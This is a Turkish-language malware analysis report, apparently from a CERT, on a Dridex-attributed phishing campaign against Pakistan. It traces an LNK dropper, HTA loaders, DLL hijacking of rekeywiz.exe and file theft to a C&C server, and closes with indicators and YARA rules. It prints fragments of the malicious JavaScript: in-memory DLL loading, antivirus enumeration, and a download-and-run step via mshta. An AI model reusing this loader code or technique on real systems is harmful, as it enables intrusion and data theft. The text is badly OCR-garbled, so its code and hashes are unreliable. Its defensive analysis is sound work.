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ICINDEKILER

Banking turindeki Dridex zararlisina ait birgok dropper ve yardimci zararh DLL’ler
bulunmaktadir. Tim indikatorler ayrintili bir sekilde analiz edilmigtir.
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Giris

Banking tlrtndeki Dridex zararlisy, ilk olarak 2012 yilinda ortaya ¢cikmistir. Genelde ilerleyisini
Word makrolari tizerinden siirdiiren zararl; 2015 yilinda ingiltere’de 20 milyon £, Amerika'da
10 milyon $ seviyelerinde zarara neden olmustur. 2016 yillinin baslarinda ise hedef liste sine
kripto clizdanlari da eklemistir.

Bugat ve Cridex isimleri ile de karsimiza c¢ikan Banking tlrindeki Dridex zararlisi,
faaliyetlerine devametmektedir. En son 13.05.2020 tarihinde ortayacikan zararlinin bu érnegi,
farkli bir teknik kullanarak sistemde yayilmayi hedeflemektedir.

C&C sunuculari Uzerinden drop ettigi HTA dosyalarinin igerisinde encode edilmis olarak
bulunan DLL’ler Gzerinden kullanici bilgilerini galan Banking turindeki Dridex zararlisinin bu
saldir kampanyasinda Pakistan’i hedef aldigi gorilmektedir.

Son kullanicinin karsisina ¢gikan PDF belgesinde islamabad Air Universitesine aitmig gibi
gérinen dokuman, sadece kullaniclyt mesgul edip arkaplanda zararli iglemlerini
gergeklestirebilmek adina yapilan bir phishing saldirisinin 6rnegidir.

On izlenim

Mail phishing yontemi ile klasik yayilma bicimini bu versiyonunda da slrdiren Banking
tarindeki Dridex zararlsi, sikistirlmis bir arsiv icerisinde karsimiza cikmaktadir. Arsiv
icerisinde 3 adet dosya bulunmaktadir.

| ~wnotification00L.trmp 2 2 TMP Dosyasi 13052020 06:26
| ~wnotification002.tmp 0 0 TMP Dosyasi 13.05.2020 06:26
|| Policy Guidelines for Online Classes.pdf.ink 2.209 813 Kisayol 13.05.2020 06:26

Dosya ZIP Arsivi

MD5 865e7c8013537414h97749e7a160a94e

SHA1 13a5ec9f6a7b0765071e43c81b7fbfdb312ab3e4

Dosya Policy Guidelines for Online Classess.pdf.Ink

MD5 865e7c8013537414b97749e7a160a94e

SHA1 13a5ec9f6a7b0765071e43c81b7fbfdb312ab3e4

Policy Guidelines for Online Classess.pdf.Ink adliigerik aslinda kisayoldur. PDF belgesi
gérunuma verilmigtir. Kisayola verilen baglantiya bakildiginda, bu kisayolun aslinda bir
dropper oldugu anlagiimaktadir.

Hedet: Twindiri aystem 32 \cftmo exe http:/Aanaw au-ed




%windir%\system32\cftmo.exe
hxxp:/mwww.au-edu.kmO1s[.]net/images/E2BC769A/16914/11662/84c7b244/3387¢c59

Kisayola baglanti olarak verilen web sitesinden 3387c59 adli dosyayiindirmektedir. Dosyanin
icerigine goz atildiginda dosyanin HTA tudrinde oldugu ve igerisinde obfuscate edilmis
Javascript kodlarinin oldugu gérilmektedir.

var ec = YogiXSQK("PWTZ"+"tuZc"+"jEZK"+"utuf"+"mI==");

try {

var shells = new fVpix(YcgiXSQK ("6pdomWW"+"KHT7LCE"+"mZjg=="));
function VelwsSk(){

var net = "";

var F30 = new fVpix (YocgiX3QK("rXdect2scXTcswZ6IE"+"uTgzEVtuT7+uWDouts="));
var folds = FSO.GetFolder (F50.GetSpecialFolder (0) +YcgiXSQK ("G1l76uzdZmuXiH2k/Pj "+ "mnPV2mjumsj zdrGI==") ) , SubFolders;
e = new Enumerator (folds);

var folder;

e.moveFirsc():
while (e.atEnd() == falsze)

{

folder = e.item();
var files = folder.files;
var fileEnum = new Enumerator (files);

fileEnum.moveFirst () ;

daf

if(fileEnum.item() == null)

continue;

if(fileEnum.item() .Name == YecgiXSQK("uzdoaW"+"uBt4=="))

{

if(folder.Name.substring(0,2)==YcgjX3QK ("H"+"I"+"F"+"="}})
return ¥YogiXSQK("HIFa22"+"bl2ItK"+"J4==");

else if (folder.Name.substring(0,2)==YcgiXSQE("H"+"I"+"t"+"=")}
return YegiXSQK("HIta22b2"+"2IV2eH==");

}

fileEnum[YcgiX5QK ["JuRltcRog96=")] () ;

twhile (fileEnum.atEnd() == false):

e[YcgiXSQK ("juRltcRcg9e="}11();

}
return folder.Name;

}
ver = YCgiXSQK("HIFa"+"22b1"+"2ItK"+"J4==");
try {
ver = VclwsSk();

} eatchie) {
ver = YogiX3QK("HIFa22"+"b12TtKM4+MJ4==");

H

Zararl kodlari analiz edebilmek igin kodlarin deobfuscate edilmesi gerekmektedir. 3387c59
dosyasinin deobfuscate edilmis haline ait kod pargasiasagida yer almaktadir.

var ec = Filegenerator;
try {
var shells = new ActiveXCbject (WScript.Shell);
function QsdCOL(){
net = "";
var F50 = new ActiveXCbject (Scripting.FileSystemCbject) ;s
var folds = F50.GetFolder (F30.GetSpecialFolder{0)+"c: \\Microsoft.HET\\Framework4") .SubFolders;
e = new Enumerator (folds) ;
var folder;
e.moveFirst();

while (e.atEnd() = false)
{

folder = e.item();

var files = folder.files;

var fileEnum = new Enumerator(files) ;
fileEnum.moveFirst();
do{
if(fileEnum.item() = mnull)
continue;
if{fileEnum.item() .Name =— "csc.exe")
{
if(folder.Name.substring(0,2)= "vi")
return "v2.0.50727";
else if(folder.Name.substring(0,2)= "v4")
return "v4.0.30319";
1
fileEnum[moveNext] () ;
}while(fileEnum.atEnd() = false):;
e[moveNext] () 7
1
return folder.Name;
1

ver = "v2.0.50727";




3387c¢59.hta Dosya Analizi

Dosya 3387c89.hta
MD5 30dd4284f82c7833034b586ba2d216a0
SHA1 1a048b8dd14765ff1e368f871879a623b8a%6de7

HTML'in script etiketleri arasinda yer alan zararli kodlar deobfuscate edildikten sonra bu
dosyanin amacl ortaya cikariimistir. RC4 algoritmasi ile encrypt edilen 6nemli veriler keeee
degiskeninde tutulan “411402620" RC4 anahtariile gozulmektedir.

function gCnYBjhA (key, bytes){
var res = []1:
for (var i = 0; i <« byte=s.length; } {
for (var j = 0; j < key.length; j++) d
; res.push (VrtmuK ( (bytes.charCodeft (i)) * key.charCodelt (j))):
it+;
if (i »= bytes.length) {
j = key.length;
}
¥
¥
Yeturm res.join("")

1
function DjZVXEiO(bsix){

return gCnYBjA (keeee,rvkk(bsix))
¥

var keeee = 4114026207
icerisinde encrypt edilmis iki adet veribulunduran zararlidosya; “da” degiskeninde gzip arsivi,
“s0” degiskeninde ise zararl bir DLL barindirmaktadir. Gzip arsivi igerisinde zararliya trojan
Ozelligi kazandiran gergek, zararsizPDF dokiumani bulunmaktadir.

Dosya Policy Guidelines for Online Classess.pdf
MD5 8ae9cc797c2f3ec3eca3b54a2e70edfl
SHA1 6c878840bd899936974a0364a2297b658beaedad




OFFICE OF THE REGISTRAR

AAIR UNIVERSITY

IBD/AUI310/2IREG
5 April, 2020

NOTIFICATION

POLICY GUIDELINES: ONLINE TEACHING DURING CLOSURE OF
AIR UNIVERSITY DUE TO COVID-19

Introduction

1. Consequent to closure of academic institutions in Pakistan due to COVID-19, Air
University anticipating the uncertainty associated with such a pandemic opted to provide
uninterrupted education to its students by adopting online teaching under the initial
guidelines issued by Higher Education Commission. This paradigm shift and transition

Zararli dosyada Activ eX objeleri Gizerinden zararliiglemler yapiimaktadir. Oncelikle sistem
Uzerinde bulunan .NET kutuphanesinin versiyonunu 6grenmektedir.

dod
if(fileEnum.item() = null})
continue;
if(fileEnum.item() .Name — "c=c.exe™)
i
if{folder.Name.zsubstring(0,2)=—= "v2")})
retomrn "w2.0.50727";
else if{folder.Name.substring{0,2)=— "w4a")
retmrn "w4.0.303139";
}

fileEnum[moveNext] () ;

Versiyon bilgisini aldiktan sonra ise Shell gevresini bu versiyona ayarlamakta ve DLL’in
calismasi esnasinda versiyona bagli olusabilecek problemlerin dnine ge¢cmektedir.

Windows Managementinstrumentation (WMI) Gzerinden bir WMI sayaci olusturarak sistem
Uzerinde var olan AV Urunlerini enumerate etmekte ve sonucu da “x” degiskeninde
depoladiktan sonra “aURL” degiskeninde var olan;

hxxp:/lwww.au-edu.kmO1s[.]net/plugins/16914/11662/true/true/

adresinin sonuna eklemektedir.




var objWMIService = GetObject ("winmgmts:4% . \roothSecurit
var colltems = objWMIService.ExecQuery("Select * From AntiVirusProduct"), mmll, 48);

var objItem = new Enumerator({colltems}) ;

var x = "";
for (; lobjItem.atEnd():; objItem[moveNext] (}) {
®= += (objItem.item().displayName + " " + objItem.item() .productState).replace(” ", ""};

Bu islemlerinden sonra so degiskeninde yer alan zararl DLL’i sistem bellegi Uzerinde ActiveX
objelerive window.eval() fonksiyonu aracilidiile galistirmaktadir.

function vnmaBC (b) {
var enc = new ActiveXObject (System.Text.ASCIIEncoding) ;
var length = enc[GetByteCount 2] (b}
var ba = enc[GetBytes_4] (b} ;
var transform = pnew ActiveXObject (System.Security.Cryptography.FromBaseb&4Transform) ;
ba = transform[TransformFinalBlock] (ba, 0, length):;
var ms = new ActiveXObject (System.IO.MemoryStream ) ;
var tope = m=s.Write(ba, 0, (length f 4) * 3):
m=s.Position = 0;
dash = m=;
window.eval (tope) ;

Tum bu iglemlerden sonra dropper ézellikleri sergileyen 3389¢c59 dosyasi, “so” degiskeninde
bulunan DLL’in Work metoduna sirasi ile; uzak sunucudaki .hta dosyasini, AV Urunlerini
gobndermeyi planladidi zararli URL'i, igerisinde zararsiz PDF dékimani bulunan gzip argivini
tutan da degiskenini ve bu PDF’in adini parametre olarak yollamaktadir.




LinkZip.dll Analizi

Dosya LinkZip.dll
MD5 7923c5065578d3dbda91646a04e189ec
SHA1 3c8891b8ff1645e22c9baf3668210al178f4125dd

3387c59 adindaki zararli dosya “so” degiskeninde barinan DLL’i ¢ézdikten sonra Work
metoduna 4 adet parametre gecmekteydi. Work metodunun aldigi parametrelere bakacak
olursak;

finalurl, doc, documentName )

ownloadData(finalurl));

loadData(finalurl});

ik olarak gzip arsivinden PDF ddkimanini ¢ikarmakta ve kullaniclya gdstermektedi.
Arkaplanda ise uzak sunucudan baska bir HTA dosyasi indirmektedir. indirdigi bu HTA
dosyasini ise mshta.exe ile galigtirmaktadir.

LinkZip.dll adindaki zararli DLL’in genel kabiliyetleri;
e Decompress iglemi yapmak,
e PDF belgesini ¢alistirmak,
e \Web istegi yapmak,
e Uzak sunucudan zararlidosya indirmek ve galistirmak seklinde siralanabilir.

2ath)))
» path)})

, path)};

Uzak sunucudan indirilen HT A dosyasini mshta.exe ile ¢alistirdiktan sonra bu zararli dosyay
sistem Uzerinden silmektedir.
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File.hta Analizi

Dosya File.hta
MD5 c04acf0e0938c22ca75219aedc19c9al
SHA1 a05e701fd029a0641331256h3dbf7f992ec6e838

File.hta, 3387c59 dosyasi gibi JavaScript kodlari igceren ve “mshta.exe” tarafindan
calistirilabilen bir dosyadir, ayrica ActiveX objeleri barindirmaktadir.

Temel olarak tzerinde 6nemli olan 3 degisken vardir. Deobfuscate edildiginde “so“, “x” ve
“y” degiskenlerinin icerisinde Base64 ile encode edilmis verilerin bulundugu dogrulanmistr.
Ayni sekilde verilerin RC4 algoritmasiile encrypt edildigi de gérulmektedir.

Base64 iceren dediskenlerdecode islemine tabitutuldugunda “so“degiskeninde bir “.ttf” magic

basligina sahip DLL dosyasi, “X’ ve “y” degiskenlerinde ise gzip arsivleri ortaya ¢cikmaktadr.
Bu arsivlerin igerisinde DLL dosyalar bulunmaktadir.

“So” degiskenine atanan “.ttf” dosyasi HexEditor gibi araglarla incelendiginde MZ bagligina
sahip oldugu dikkat cekmektedir. Dosya dizenlendiginde DLL dosyasi oldugu gorilmektedir.

“so” degdiskenindeki DLL'i direkt olarak bellege yazarak window.eval() fonksiyonu ile
calistirmaktadir.

function TtNLyN(b) {
var enc = new System.Text.ASCIIEncoding;

var length = enc.GetByteCount_2(b):;
var ba = enc.GetBytes_4(b);

var transform = new System.Security.Cryptcgraphy.FromBaseéd4Transform;
ba = transform.TransformFinalBlock(ba, [, length):

mst = new System.IO.MemoryStream;

var dope = mst.Write(ba, 0, (length / 4) * 3); mst.Peosition = (;
window.eval (dope)

Kod blogu detayl incelendiginde try-catch yapisina “throw 1;” komutu ile exception
verdirilerek catch blogunun ¢galismasi saglanmaktadir. Bu blok igerisinde;;

«x” "y* «202/4zFPhSyGnJODzF atyW3RjZuj TsdrKx4qPkcJGupk/16914/11662/df36¢81"

parametre olarak gdnderilerek “so” degiskeninde yer alan Work fonksiyonu gagirimaktadir.




throw 4
} cateh (e) {

ao[Work] {x,yv, "202/4zFPhSvGnd0DzFatvW3IRjZuiTadrEx4gPkedGupk,/16914/11662 /df36cB1™) ;

}

So Degiskeni ="StInstaller.dll”
X Degiskeni ="Duser.dll”

Y Degiskeni = “SystemApp.dll”

Stinstaller.dll Analizi

Dosya Stinstaller.dll
MD5 567f6f3e4ae4869b9d9954770774aaf
SHAL 85ac80dc5ecd66316cc33ff5abef89062439d112

File.hta dosyasinda gorilen work() fonksiyonu Stinstaller.dll dosyasinda karsimiza
clkmaktadir. Aldigi parametrelere bakacak olursak ;

DLL igerisinde bazi degiskenler obfuscate edilmistir. Deobfuscate isleminden sonra
degiskenler ve icerikleri agsagdidaki gorseldeki gibidir;

instfolder : font2Files domain : https://katéx.ne
: FFFFFFFFFFFFFFFFFFFF
1ZzplsI P

s4 :https:/
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Sistem uUzerinde “%windir%\syswow64\\” yolu bulunuyorsa bu yol Uzerinden eger
bulunmuyorsa “%windir%\system32\\“ yolu (zerinden rekeywiz.exe'yi ilgili dizine
kopyalamaktadir. Rekeywiz.exe legal bir sistem uygulamasidir.

Bu DLL, rekeywiz.exe'nin sistem her yeniden baglatidiginda tekrar galisabilmesi igin
Software\\Microsoft\Windows\\CurrentVersion\\Run kayit defteri yoluna font2 adinda bir
kayit ekleyip degerini rekeywiz.exe’nin yolu olarak ayarlamaktadir.

Rastgele isimlendirilimis bir .tmp dosyasi olusturulup, SystemApp.dll, encode fonksiyonundan
gecirilerek bu xxxx.tmp dosyasiicerisine yerlestiriimekte ve dizine kaydedilmektedir.

Duser.dll olarak tanimlanmis degiskenin adi “hijackDlIiname” olarak dikkat ¢ekmektedir.
Duser.dll ve rekeywiz.exe.config dosyalari da dizine kaydedilip program baslatimaktadir.
Rekeywiz.exe.config dosyasinin icerigi manifestContent degiskeninde yer alan stringdir.

Stinstaller.dll adindaki zararl DLL’in genel kabiliyetleri:

- Decompress iglemi yapabilme,

- Veriyi encode edebilme,

- Bir veriicerisinde arama yapabilme,

- Token olugturabilme,

- Belirtilen bir verinin yerine baska bir veriyi yerlestirebilme,
- Kayit defterine deger ekleyebilme seklinde siralanabilir.

GAIS-CERT




Duser.dll Analizi

Dosya GZIP Arsivi

MD5 e3fdf458ab16294f9e041be46600af6b
SHA1 d281b1a596807c5fealer7d581aB8ad49ed6dchcac3
Dosya Duser.dll

MD5 1538ebe93228d9b2246eedfd54c58179
SHA1 7a3471aa9f65b5b765393a319268f7dch9865091

Normalde Rekeywiz.exe uygulamasinin kullandigi legal bir DLL dosyasidir. Fakat zararli
yaziim Rekeywiz.exe'yi kopyaladigi dizinde X degiskeninde yer alan veriler ile zararh bir
Duser.dll olusturmaktadir. Bununla birlikte de DLL Hijacking islemi yapmaktadir.

DLL dosyasinin amaci bagka bir dosyayi ¢ozumleyerek caligtirmaktir. File.hta Uzerinden
aldigimiz Duser.dll iglenmedigi icin asagidaki gibi gorinmektedir;

xoox.tmp dosyasinin ¢ozimlendigi ve sonrasinda galistirmak Uzere yuklendigi gortulmektedir.
TMP dosyasini ayniislemlerden gecirdigimizde bir MZ bashgi goriulmektedir.
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00000000 hD 54 90 00 03 00 OO0 00 O4 00 OO0 00 FF FF OO 00 ﬁz .......... V..

QQQQ0010 BS OO0 OO0 OO0 OO OO OO OO 40 OO QO OO QO OO OO OO ,....... Bewonn..
Q0000020 0QOC 00 OO0 00 OO0 OO0 00 OO0 00 00 Q00 00 00 Q00 00 00 ..., ieennnnnnn
Q0000030 00 Q0 00 00 00 OO0 00 00 00 00 Q0 00 80 Q00 00 00 .....vvennns €...
00000040 OE 1F BA OE 00 B4 09 CD 21 B8 01 4C CD 21 54 68 ..°.. . i1, .zi'Th

Q0000050 685 T3 20 70 72 &F &7 72 61 6D 20 63 €1 6E 6E 6F 1is program canno
QQOo000e0 T4 20 82 65 20 T2 Th 6E 20 69 6E 20 44 4F 53 20 t be run in DOS

00000070 6D 6F 64 65 2ZE OD OD OA 24 00 00 00 00 OO0 00 00 mode....5.......
00000080 50 45 00 00 4C 01 03 00 8E F&8 C5 D3 00 00 00 00 PE..L...Zef0....
00000090 00 00 00 OO0 EQO OO0 22 20 OB 01 30 00 00 FE 08 00 ....&a." ..0..3..
Q0Q000AD OO0 O6 OO0 OO0 OO0 OO OO0 OO0 4E 17 09 00 00 20 00 00 ........ H....

QQOQQO0OBO OO0 20 OS5 00 OO0 OO OO0 10 00 20 00 00 OO0 02 00 00 . ... ee wowvnn
QQQQQQC0O 04 00 00 00 00 OO0 00 00 04 00 00 00 Q0 Q00 00 00 ..., iennnnnnns
QQooooD0 00 60 05 00 00 02 00 00 OO0 OO0 OO0 00 03 00 40 B5 . ... ieennnnn B
QQQOQO0OED OO OO0 10 00 OO0 10 OO0 00 00 00 10 00 00 10 00 00 ..., . eevnnrnn
QQQQQQF0 0QOC 00 00 00 10 00 00 00 00 00 Q0 00 00 00 00 00 ..., ieennnnnns
Q00000100 FC 16 05 00 4F 00 00 OO0 00 20 09 00 A8 02 00 00 4G...0.... .. ...
Q0000110 OO0 OO0 OO0 OO0 OO0 OO0 OO0 OO0 OO0 OO0 OO0 00 OO0 0D 00 00 ..., eennnnnn
00000120 00 40 0% 00 OC OO0 OO0 00 EO 16 09 00 1C OO0 00 00 .8...... -
Q00000130 00 00 OO0 00 OO0 OO0 OO0 OO0 00 OO0 OO0 00 OO0 Q0D 00 00 ..., iieennnnnn
Q0000140 OO OO0 OO0 OO0 OO OO OO0 OO0 OO0 OO0 OO0 00 OO0 0D 00 00 ..., . eevnnnnn
Q00000150 0OC 00 00 00 OO0 OO0 00 00 00 20 00 00 08 00 00 00 ....vvves wwmnns

Q0000160 OQOC OO OO0 OO0 OO0 OO0 OO0 00 08 20 OO0 00 48 Q0 00 00 ......... «.H...
Q0000170 OO0 OO0 OO0 OO OO OO OO0 OO0 2E 74 65 78 74 00 00 OO0 ......... text...

Q0000180 54 F7 08 00 00 20 00 00 00 F& 08 00 00 02 00 00 T=... +ve@uuurns
Q0000190 Q0 Q0 OO0 00 OO0 OO0 00 00 00 00 Q0 00 20 Q00 00 B0 ........c..as :

DLL dosyasinda yer alan Up () metodu ise ¢dziimlenmis olan tmp dosyasindan gelen DLL'in
Program.Start() metodunu ¢agirdig1 gérulmektedir.

Base64 ile encode edilmis degerler sirasiyla “Program” ve “Start” olarak decode edilmektedir.

Up() metodunu gagirabilmesiigin iki se¢genek bulunmaktadir. Ya Up () metodunu direkt olarak
cagiracaktir (ki zararh DLL icerisinde o sekilde bir kullanim géremedik) ya da Up() metodunu
icerisinde ¢agiran bir metodu ¢agiracaktir. Fakat bu iki se¢genekte bu kod pargasinda mimkin
olmadigi Uzere rekeywiz.exe programinin Up() metoduna bu iki ydontemden biri ile erismesi
gerekecektir.

Orijinal Duser.dll icerisindeki metodlari inceledigimizde zararli DLL dosyamizla ortak bir
fonksiyon oldugu gorilmektedir.
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E CreateGadget text
E SetGadgetRootInfo dext
InitGadgets text
E GetGadgetFocus text
E SetGadgetFocus text
E RegisterGadgetMessage text
E RegisterGadgetProperty text
E FindGadgetFromPoint text -

InitGadgets() metodu, iki DLL dosyasinda da yer alan ortak bir metoddur. Zararli DLL
icerisinde yer alan bu metodun Up() metodunu ¢agirdigi gértulmektedir.

Bu durumda rekeywiz.exe Duser.dll icerisinde yer alan InitGadgets () metodunu ¢agirdiginda
DIl Hijacking yapildidi igin zararl DLL igerisinde aynifonksiyonu ¢agiracak ve SystemApp.dl
dosyasi galistirilacaktir.

SystemApp.dll Analizi

Dosya GZIP Arsivi

MD5 14bb9075be2ffd50e625882e446e9c42
SHA1 f9¢3796d3b8f7d1d97dcel 7755f0c4e215e6b9bl
Dosya SystemApp.dll

MD5 3695cldca8blcf368abad3f42f3efcl6
SHA1 ceee8c9f929ba3debbaddObfffd86655c4d7b999

Rekeywiz.exe programi, Duser.dll ile hijacking iglemi yapildiktan sonra InitGadgets()
fonksiyonunun ¢agiriimasi sonucunda Up() metodunu c¢agdirmakta, oradan da rastgele
olusturulan ve encode edilen TMP dosyasinin ¢ézimlenmesi sonucunda SystemApp.dIlin
Program.Start() metoduna giris yapmaktadir.
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Start() metoundan sonra ise LoadSetting() metoduna atlamaktadir. icerisinde gémiilii olarak
bulunan iki adet kaynak mevcuttur. ilki Default adinda bir ayar dosyasi, ikincisi ise
Newton_Json adindaki .NET ortami i¢in bir JSSON ¢atisidir. LoadSettings() metounda ise
kaynaklarda bulunan Default adindaki kaynagi decrypt edip, ayar degiskenlerini
tanimlamaktadir.

DoFileUpload: True
ServerURI: https://kat@x.net 4zFPhSyGnJ@DzFatyW3RjZujTsdrKxdqPkcIGupk

Ayar degiskenleri tanimlandiktan sonra SettingsFilePath degiskenindeki font2 dosyasini
decode ettikten sonra font2 dosyasinin icerisindeki verilere goére ayar degiskenlerini tekrardan
tanimlamaktadir. Ve bu ikinci tanimlamadan sonra ise degiskenlerin durumu asagidaki gibi
olmaktadr.

SettingsFilePath: C:\
DirectoryName: C
OutputFolde

Text: https

GetInte

DoSysInfo: False
DoFileSelection: False
DoFileUpload: True
ServerURI:

Ayar degdiskenleri arasinda hedef alinacak olan dosya uzantilari, hedef alinacak dosyalarin
boyutunun en fazla ne kadar olacagi gibi degerler de bulunmaktadir.

Selected File Extension
.doc
.docx
.x1s
x1lsx
. pijf
. ppt
.pptx
.rar
LZip
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Ayarlarini tam olarak tanimladiktan sonra ise uzak sunucu Uzerinden veri indirip, decode
ettikten sonra Duser.dll icerisinde bulunan Loader sinifinin Load() metoduna ilk parametre
olarak veriyi, ikinci parametre olarak da ayar degigkenlerinin deg@erlerini gondermektedir.

[1 pluginAssembly, [1 args)

F"UHTwZ3ThhO=="1)
{ "UHIvZ3ThbQ )

Uzak sunucudan gelen verinin de .NET ortami ile yaziimis bir DLL veya EXE oldugu
anlagllmaktadir. Base64 ile encode edilen verinin karsilig1 “Program” stringi olmaktadir. Uzak
sunucudan indirilen veri igerisindeki Program yapicisina ayar degiskenlerini parametre olarak
goéndermektedir. Bunun sonucunda dénen degere gore ise baziiglemler yapiimaktadir.

Burada dikkat edilmesi gereken nokta, uzak sunucudan gelen verinin bir bellek akisi
oldugudur. Zararl bellek akisi sonucunda dénen degere gore;
e Ayar degiskenlerini tekrardan tanimlayabilme,
e gerisinde kullanici yetki bilgileri, siriici bilgileri, sistem Uzerindeki yUkli olan
uygulamalar gibi kritik bilgileri barindiran sistem bilgilerini “.sif” uzantili rastgele isimii
bir dosyaya yazma,
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e Sistem Uzerindeki bulunan diskler hakkindaki bos alan, kullanilan alan, disk tipi gibi
onemli bilgileri “.flc” uzantil rastgele isimli bir dosyaya yazma ve ayar dosyasindaki
hedef uzantilari iceren dosyalarin listesini tutma,

e Hedef uzantilara sahip dosyalarin tam yolunu “.fls” uzantili rastgele isimli bir dosyaya
yazma,

C&C sunucusunun adresini degistirip yeni C&C sunucus tanimlayabilme,
Hedef dosya uzantilari ve hedef olacak maksimum dosya boyutu gibi bilgileri istege
bagli glincelleyebilme gibi kritik igslemler gergeklesebilmektedir.

C&C sunucusundan gelenve galistirilan bellek akigi verisi, zararliya komut veren ve igerisinde
muhtemelen upload mekanizmasi bulunduran énemli bir zararli komuta kontrol sistemidir.

v AppData » Reaming » font2Dat

tkle - Bununla paylag = Yaz Yeni klasar
Ad Dedistirme tarihi Tar Boyut
||| jtofeugm.sje.fls 21.05.2020 04:38 FLS Dosyasi 24KB|
|| ggwdoraf ffy.flc 21.05.2020 04:38 FLC Dosyasi 16.242 KB

Sistem Uzerinde bilgi toplama ve ayarlama islemlerinden sonra App Data\Roaming\font2Dat
dizininde bulunan tim kritik verileriuzak sunucuya yuklemektedir. Yukleme igsleminin ardindan
amacina ulasan saldiri sonucunda toplanan verileri silmektedir.

Ayrica sistem Uzerindeki kullanicilarin bilgilerini, sistem Uzerindeki AV drunlerini, islemci
bilgisi, ag karti bilgileri gibi kritik bilgileri 3drenmek i¢in sik sik WMI sorgulari kullanmaktadr.
Sorgulanan ve toplanan tum bilgileri JSON tipinde dosyalara yazmaktadir ve bu iglemler igin
Newtonsoft JSON c¢atisini kullanmaktadir.

Zararli davranislarinin sonucunda basariya ulasan Banking tlrtindeki Dridex zararlisi bellek
akiginda bulunan zararli kod gibi kritik bilgilerin ele gegmemesi amaciyla sistem kaynaklarini
serbest birakmaktadir.




Ag Hareketleri

Bankaclilik trtndeki Dridex zararlisi iki adet zararli sunucu ile iletisim kurmaktadir.

77 8.292588 192.168.2.133 185.163.45.199 HTTP 434 GET /images/E2BC769A/16914/11662/84c7b244/3387c59 HTTP/..
289 B.684628 185.163.45.199 192.168.2.133 HTTP 228 HTTP/1.1 28@ OK (application/hta)

214 1.1492584 192.168.2.133 185.163.45.199 HTTP 283 GET /plugins/16914/11662/true/true/ HTTP/1.1

227 1.218851 185.163.45.199 192.168.2.133 HTTP 452 HTTP/1.1 288 OK

228 1.228969 192.168.2.133 185.163.45.199 HTTP 273 GET /cgi/Bee4d36866/16914/11662/ecef4361/file.hta HTTP/..
542 1.718857 185.163.45.199 192.168.2.133 HTTP 349 HTTP/1.1 28@ OK (application/hta)

Ik olarak 185[.]163.45.199 IP adresine sahip hxxp://www.au-edu.km01s[.]net alan adindan
zararli HTA dosyalarini drop etmektedir. Ayrica sistem Uzerinde bulunan AV Urlnlerinin
listesini de bu zararli sunucuya géndermektedir.

Zararli alan adinin, islamabad Air Universitesinin alan adina benzerligi ortaya ¢ikmakta olup
ayni zamanda bir phishing saldirisi oldugu da anlasilmaktadir.

569 8.481l814 192.168.2.133 46.38.1859.44 TLSwl 175 Client Hello

571 8.577398 46.38.189.44 192.168.2.133 TLSw1 1514 Server Hello

572 8.577398 46.30.189.44 192.168.2.133 TLSv1 1514 Certificate [TCP segment of a reassembled PDU]

573 8.577399 46.38.185 .44 192.168.2.133 TLSwl 171 Server Key Exchange, Server Hello Done

575 8.591259 192.168.2.133 46.30.189.44 TLSw1 188 Client Key Exchange, Change Cipher Spec, Encrypted Hand..
577 8.65619@ 46.30.189.44 192.168.2.133 TLSw1 113 Change Cipher Spec, Encrypted Handshake Message

58@ 8.768175 192.168.2.133 46.30.189.44 TLSv1 272 Application Data, Application Data

582 8.855657 46.38.185 .44 192.168.2.133 TLSwl 299 Application Data

Sistemden topladigi bilgileriise, asil komuta kontrol sunucusu olan 46[.]30.189.44 1P adresine
sahip hxxps://katOx[.]net alan adina sifrelenmis olarak TLS protokolu ile iletmektedir.

Cozim Onerileri

- Sistemlerde guincel, guvenilir bir antiviris yazilimin kullaniimasi,

- Gelen maillere 6zenle dikkat edilmesi, eklerin analizedilmeden bilingsizce agilmamasi,

- Spam maillerin dikkate alinmamasi ve e-posta filtreleme konfigtrasyonlarinn
yapilmasi,

- Isletim sistemi giincellemelerinin anlik olarak alinmasi,

- Mshta.exe programinin yapacagiislemlerin izZiemeye alinmasi,

- Ag Uzerinden zararl baglanti, IP adresleri ve C&C sunucularinin filtrelenmesi gibi
¢ozumler, Banking turundeki Dridex zararlisinin sisteme enfekte olmasi ve zarar
vermesi engellenebilmektedir.




YARA Kurali

import "hash"

rule FirstFile{
meta:
description="3387c¢59.hta"

strings:
$strl = "ActiveXObject" fullword
$str2 = "keeee" fullword
$str3 = "folder.Name"
$stra =
"J2KeVEs1AdB5FYChHmMogtujc6rG8PZfalTgLOWMw3DvSQON047yizXpxbRNIUK +/="
$str5 = "shells.Environment"
$command1 = "window.eval"
$command?2 = "window.close"

condition:
hash.md5(0, filesize) == "30dd4284f82c7833034h586ba2d216a0" or all of them

rule LinkZip{
meta:
description = "LinkZip.dIl"

strings:
$name ="LinkZip.dll"
$strl ="DownloadData"
$str2 = "downloadData"
$str3 = "mshta.exe"
$str4 ="avUrl" fullword
$str5 = "finalUrl" fullword
$userAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36"

condition:
hash.md5(0, filesize) =="7923c5065578d3dbda91646a04e189ec" or all of them and
uintl6(0x4C7) == 0x5A4D

}




rule FileHTA{
meta:
description = "file.hta"

strings:
$strl = "ActiveXObject" fullword
$str2 ="keeee" fullword
$str3 ="folder.Name" fullword
$str4 =
"J2KeVEs1AdB5FYChHmMogtujc6rG8PZfalTgLOWMw3DvSQON047yizXpxbRNIUK +/="
$str5 = "shells.Environment"
$command1 = "window.eval"
$command?2 = "window.close"

condition:
hash.md5(0, filesize) == "c04acf0e0938c22ca75219aedc19c9al" or all of them

}

rule Stinstaller{
meta:
description="StInstaller.dll"

strings:
$path1="%windir%\\syswowc4\\"
$path2="%windir%\\system32\\"
$dliname="Duser.dll" fullword
$exename="rekeywiz.exe" fullword
$reg ="Software\\Microsoft\Windows\\CurrentVersion\\Run" fullword

$extl = ".tmp"
$ext2 = ".config"
condition:
hash.md5(0,filesize) =="567f6f3e4ae486909d9954770774aa9f" or all of them
}
rule Duser{
meta:
description ="DUser.dll"
strings:

$basel ="UHJIvZ3JhbQ=="

$base2 ="U3RhcnQ="

$name ="DUSER.dII"
$a={??22?272?22?7?2?7?2?7??2e746d70}




condition:
hash.md5(0,filesize) =="1538ebe93228d9b2246eedfd54c58179" or (all of them and
uint16(0) == 0x5A4D)

}
rule SystemApp{
meta:
description ="SystemApp.dll"
strings:
$name ="SystemApp.dIl"
$url =

"https://katOx.net/202/4zFPhSyGnJODzFatyW3RjZujTsdrkKx4qPkcJGupk/16914/11662/df36¢
81" fullword

$extl =".err"
$ext2 = ".sif"
$ext3 =".flc"
$extd =" fls"

